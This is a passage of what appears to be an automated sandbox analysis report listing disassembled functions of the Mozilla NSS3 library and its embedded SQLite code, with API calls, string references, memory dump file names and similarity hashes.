PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB9E33

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CEB9E65

Strings

C_SessionCancel, xrefs: 6CEB9DF1
(CK_INVALID_HANDLE), xrefs: 6CEB9E2C
hSession = 0x%x, xrefs: 6CEB9E0E, 6CEB9E1E
flags = 0x%x, xrefs: 6CEB9E60

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 823d8283d651bf7c1dbe091422280af9e95e869d22044ce0356a508ae7b72111
Instruction ID: b63c45809aa2b238bf8194a919c55b58f07bb3dd3217a4a66c873637e136f60c
Opcode Fuzzy Hash: 823d8283d651bf7c1dbe091422280af9e95e869d22044ce0356a508ae7b72111
Instruction Fuzzy Hash: 1F214630A01108BFEB809B54DE88B7E77B4AB0A30DF144428F909B7701EF358D48CBA2

Function 6CE80F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE80F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE80F84

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE9F59B,6CFA890C,?), ref: 6CE80FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE80FC1

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE80FDB
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE80FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE81001
PL_FinishArenaPool.NSS3(?), ref: 6CE81009

Strings

security, xrefs: 6CE80F5C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 87c645c70c1731577cf915bb51e5e8d47503e7d9ec58e3b6509309e2e62bd4f8
Instruction ID: 81de388fe1284f70652bc2fdb6cdc3ce5d575d4ef9b6e9b4bf5666b6f8e55f28
Opcode Fuzzy Hash: 87c645c70c1731577cf915bb51e5e8d47503e7d9ec58e3b6509309e2e62bd4f8
Instruction Fuzzy Hash: FE2106B1900244ABE7109F24DC41AAEB7B8EF4965CF20851DFC189A701FB32E956CBD2

Function 6CE86DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE87D8F,6CE87D8F,?,?), ref: 6CE86DC8

Part of subcall function 6CEDFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEDFE08
Part of subcall function 6CEDFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEDFE1D
Part of subcall function 6CEDFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEDFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE87D8F,?,?), ref: 6CE86DD5

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFA8FA0,00000000,?,?,?,?,6CE87D8F,?,?), ref: 6CE86DF7

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE86E35

Part of subcall function 6CEDFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEDFE29
Part of subcall function 6CEDFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEDFE3D
Part of subcall function 6CEDFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CEDFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE86E4C

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFA8FE0,00000000), ref: 6CE86E82

Part of subcall function 6CE86AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE8B21D,00000000,00000000,6CE8B219,?,6CE86BFB,00000000,?,00000000,00000000,?,?,?,6CE8B21D), ref: 6CE86B01
Part of subcall function 6CE86AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE86B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE86F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE86F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFA8FE0,00000000), ref: 6CE86F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE87D8F,?,?), ref: 6CE86FE1

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: abcf382b38dd3014f5a47bbee103d715584780bf39f2a96741e9815a5146997f
Instruction ID: cce9ad1731f75c4e250a13eec38b435570ee000da3f8119c0b5d608f2fffd885
Opcode Fuzzy Hash: abcf382b38dd3014f5a47bbee103d715584780bf39f2a96741e9815a5146997f
Instruction Fuzzy Hash: 7A719F71E216469BDB00CF55CD41BAAB7B9BF9430CF254229E808DBB11F770EA95CB90

Function 6CEC0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEC1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC1085
PK11_GetAllTokens.NSS3 ref: 6CEC10B1
free.MOZGLUE(?), ref: 6CEC1107
PR_SetError.NSS3(00000000,00000000), ref: 6CEC1172
free.MOZGLUE(?), ref: 6CEC1182
free.MOZGLUE(?), ref: 6CEC11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CEC11C5

Part of subcall function 6CEC52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE9EAC5,00000001), ref: 6CEC52DF
Part of subcall function 6CEC52C0: EnterCriticalSection.KERNEL32(?), ref: 6CEC52F3
Part of subcall function 6CEC52C0: PR_Unlock.NSS3(?), ref: 6CEC5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEC11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEC11F3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 297ecb0a934543c57356f06713a8ea7822fa33d28ea6438b1090e9f1786499aa
Instruction ID: 86a46f1c56d7341a03171dbf621c75df4e164221f1bacb6bc5a9795a65a15dc2
Opcode Fuzzy Hash: 297ecb0a934543c57356f06713a8ea7822fa33d28ea6438b1090e9f1786499aa
Instruction Fuzzy Hash: 676194B5F003459FEB00DFA4D981B9EB7B5AF05348F244128EC29AB741EB71E945CB92

Function 6CECADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE10
EnterCriticalSection.KERNEL32(?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CEAD079,00000000,00000001), ref: 6CECAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAE7F
TlsGetValue.KERNEL32(?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAEF1
free.MOZGLUE(6CEACDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEACDBB,?), ref: 6CECAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CEACDBB,?,6CEAD079,00000000,00000001), ref: 6CECAF30

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: b75121c9e48049388f5b9179dec9dd689360001124f2937a5676e38f3a5fa2ff
Instruction ID: d6c4c1ef70ebf5c2c59e69cf884f54dc670b408d399f8d5e7f4af7804a67d221
Opcode Fuzzy Hash: b75121c9e48049388f5b9179dec9dd689360001124f2937a5676e38f3a5fa2ff
Instruction Fuzzy Hash: 2551A1B1A40601AFDB40DF29D985B59B7B4FF09318F244668E92897F11E731F8A4CBD2

Function 6CEA4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CEAAB7F,?,00000000,?), ref: 6CEA4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CEAAB7F,?,00000000,?), ref: 6CEA4CC8
TlsGetValue.KERNEL32(?,6CEAAB7F,?,00000000,?), ref: 6CEA4CE0
EnterCriticalSection.KERNEL32(?,?,6CEAAB7F,?,00000000,?), ref: 6CEA4CF4
PL_HashTableLookup.NSS3(?,?,?,6CEAAB7F,?,00000000,?), ref: 6CEA4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CEA4D10

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CEA4D26

Part of subcall function 6CF49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DC6
Part of subcall function 6CF49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DD1
Part of subcall function 6CF49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF49DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CEA4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CEA4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CEA4E02

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 9f80b8064602d82510c65fa5b41b68acca5ebac6fcbfcac3bd189713e6d95e58
Instruction ID: 27b26fd0cdf565b01bf8af345722ea1c8cfe7b9c19fef7174882a75a6bbed315
Opcode Fuzzy Hash: 9f80b8064602d82510c65fa5b41b68acca5ebac6fcbfcac3bd189713e6d95e58
Instruction Fuzzy Hash: 3441A7B6D00605AFEB019F68EC40A5677B8AF0521DF255175EC088BB12EF31D955C7E2

Function 6CE8BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE8BFFB

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE8C015

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE8C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE8C04D

Part of subcall function 6CED69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CED6A47
Part of subcall function 6CED69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CED6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE8C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE8C07B

Part of subcall function 6CE88980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE87310), ref: 6CE889B8
Part of subcall function 6CE88980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE87310), ref: 6CE889E6
Part of subcall function 6CE88980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE88A00
Part of subcall function 6CE88980: CERT_CopyRDN.NSS3(00000004,00000000,6CE87310,?,?,00000004,?), ref: 6CE88A1B
Part of subcall function 6CE88980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE88A74

Part of subcall function 6CE81D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE8C097,00000000,000000B0,?), ref: 6CE81D2C
Part of subcall function 6CE81D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE8C09B,00000000,00000000,00000000,?,6CE8C097,00000000,000000B0,?), ref: 6CE81D3F
Part of subcall function 6CE81D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE8C087,00000000,000000B0,?), ref: 6CE81D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE8C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE8C0C9

Part of subcall function 6CE92DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE8C0D2,6CE8C0CE,00000000,-000000D4,?), ref: 6CE92DF5
Part of subcall function 6CE92DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE8C0CE,00000000,-000000D4,?), ref: 6CE92E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE8C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8C0E3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 71002b15c70f0e292e1e140bbb5964436dd7db62d85fcf8881ca059a7469b6d2
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: D32177B264210567FB015A61AC81FFB327C9B4279CF284238FD0CD9747FB25D5199272

Function 6CE82E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE82CDA,?,00000000), ref: 6CE82E1E

Part of subcall function 6CEDFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE89003,?), ref: 6CEDFD91
Part of subcall function 6CEDFD80: PORT_Alloc_Util.NSS3(A4686CEE,?), ref: 6CEDFDA2
Part of subcall function 6CEDFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEE,?,?), ref: 6CEDFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE82E33

Part of subcall function 6CEDFD80: free.MOZGLUE(00000000,?,?), ref: 6CEDFDD1

TlsGetValue.KERNEL32 ref: 6CE82E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE82E5E
PL_HashTableLookup.NSS3(?), ref: 6CE82E71
PL_HashTableRemove.NSS3(?), ref: 6CE82E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE82E96
PR_Unlock.NSS3 ref: 6CE82EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE82EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE82EC5

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: ec6709c6593f403efe65305ef5336d63134fffcd0c3465ca8e33dba8e1632854
Instruction ID: 1bbf0a8c467ba439dc40059ddbaff6b1ebb32bad8c3855d9d4b8ee1f46cd7e30
Opcode Fuzzy Hash: ec6709c6593f403efe65305ef5336d63134fffcd0c3465ca8e33dba8e1632854
Instruction Fuzzy Hash: 07213772E00101A7EF515B24EC09B9A3B78DB5631DF280034EE1C96751FB33D559C2B1

Function 6CE6FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE6FD18
sqlite3_initialize.NSS3 ref: 6CE6FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE6FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE6FD99
sqlite3_free.NSS3(00000000), ref: 6CE6FE3C
sqlite3_free.NSS3(?), ref: 6CE6FEE3
sqlite3_free.NSS3(?), ref: 6CE6FEEE

Strings

simple, xrefs: 6CE6FC79

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 0cfa8f8c626b0661e970170a361ebffb1cdfe3e46e69e47be300fcb574fbf835
Instruction ID: 3a60f9d89951e6c9f7999bffe0bfb3d4e19cb9da90d99f211c4f7b45622f2b8b
Opcode Fuzzy Hash: 0cfa8f8c626b0661e970170a361ebffb1cdfe3e46e69e47be300fcb574fbf835
Instruction Fuzzy Hash: 5F9181B0A512059FDB04CF56C880BAABBB2FF85318F34C56DD8199BB52D739E811CB90

Function 6CE75CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE75EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE75EED

Strings

%s at line %d of [%.10s], xrefs: 6CE75EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE75E64
API call with %s database connection pointer, xrefs: 6CE75EC3
misuse, xrefs: 6CE75EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE75ED1
invalid, xrefs: 6CE75EBE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 8ddbbab9b660893cac60752f5824c64b5c952868684a4000120bdac276a762e1
